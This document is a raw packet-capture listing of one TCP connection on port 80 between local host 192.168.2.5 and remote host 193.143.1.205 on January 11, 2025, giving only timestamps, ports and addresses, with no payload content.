Jan 11, 2025 06:37:45.424253941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.424263000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.424294949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.461781025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.461803913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.461822987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.461838961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.461854935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.461865902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.461872101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.461904049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.461925030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.462050915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.462068081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.462084055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.462109089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.462222099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.462236881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.462254047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.462260962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.462299109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.462385893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.462400913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.462433100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.462533951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.462549925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.462568998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.462591887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.462690115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.462704897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.462721109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.462732077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.462737083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.462753057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.462758064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.462810993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.463151932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.463167906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.463182926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.463221073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.463294983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.463310957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.463337898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.463339090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.463355064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.463378906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.463614941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.463630915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.463645935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.463649988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.463660955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.463676929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.463692904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.463716984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.464052916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.464067936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.464083910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.464096069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.464103937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.464138985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.473764896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.473788023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.473805904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.473831892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.473846912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.473865986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.473928928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.473928928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.473928928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.474792004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.474806070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.474831104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.474843979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.474852085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.474889994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.513226986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.513252974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.513269901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.513286114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.513303995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.513303041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.513334990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.513420105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.513436079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.513452053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.513454914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.513468981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.513488054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.513509989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.513525009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.513540030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.513551950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.513556957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.513578892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.513601065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.513616085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.513631105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.513638020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.513668060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.514136076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.514152050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.514167070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.514188051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.514296055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.514312029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.514328003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.514338970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.514343023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.514364004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.514367104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.514379978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.514394999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.514420986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.514446974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.514802933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.515055895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.515072107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.515085936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.515096903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.515104055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.515120029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.515126944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.515136003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.515151978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.515156984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.515186071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.515202045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.515218973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.515235901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.515249968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.515254021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.515266895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.515291929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.516231060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.516321898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.516371012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.551207066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.551228046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.551244020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.551321030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.551397085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.551423073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.551440001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.551450968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.551455021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.551471949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.551479101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.551517010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.551518917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.551536083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.551551104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.551577091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.551981926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.551996946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.552012920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.552016973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.552027941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.552052021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.552056074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.552067995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.552083969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.552098989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.552109957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.552114964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.552124977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.552129984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.552146912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.552153111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.552160025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.552187920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.552252054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.552268982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.552293062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.552294970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.552310944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.552326918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.552333117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.552367926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.552558899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.552575111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.552591085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.552612066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.552647114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.552664042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.552680016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.552687883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.552697897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.552720070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.552788973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.552804947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.552820921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.552828074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.552855015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.552860022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.552871943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.552887917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.552917957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.552918911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.552934885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.552957058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.553757906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.553798914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.563184977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.564323902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.564341068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.564356089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.564372063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.564377069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.564388990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.564430952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.565339088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.565352917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.565386057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.565485954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.565501928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.565516949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.565527916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.565556049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.583425045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.593605042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.603842020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.603873968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.603890896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.603907108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.603924036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.603934050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.603950024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.603960991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.603966951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.604008913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.604015112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.604029894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.604046106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.604057074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.604084969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.604084969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.604100943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.604146004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.604276896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.604291916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.604309082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.604335070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.604337931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.604350090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.604367971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.604370117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.604386091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.604399920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.604406118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.604440928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.604662895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.604679108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.604693890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.604724884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.604795933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.604814053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.604829073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.604855061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.604856014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.604871035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.604885101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.604887962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.604904890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.604914904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.604947090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.605010033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.605026007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.605041981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.605057001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.605063915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.605073929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.605088949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.605099916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.605106115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.605132103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.605168104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.605215073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.605700970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.605716944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.605734110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.605748892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.605760098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.605773926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.605789900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.605796099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.605804920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.605819941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.605824947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.605835915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.605850935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.605860949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.605869055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.605889082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.606080055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.641784906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.641812086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.641829014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.641845942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.641860008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.641875029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.641886950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.641902924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.641918898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.641927004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.641937017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.641972065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.642033100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.642046928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.642066956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.642071962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.642093897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.642103910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.642108917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.642138958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.642205954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.642221928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.642236948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.642255068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.642262936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.642271042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.642292023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.642446995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.642462015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.642484903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.642488003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.642505884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.642524958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.642532110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.642560005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.642579079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.642596006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.642611027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.642627001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.642632008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.642643929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.642668009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.642698050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:37:45.642739058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.643018961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:37:45.643064976 CET	80	49704	193.143.1.205	192.168.2.5
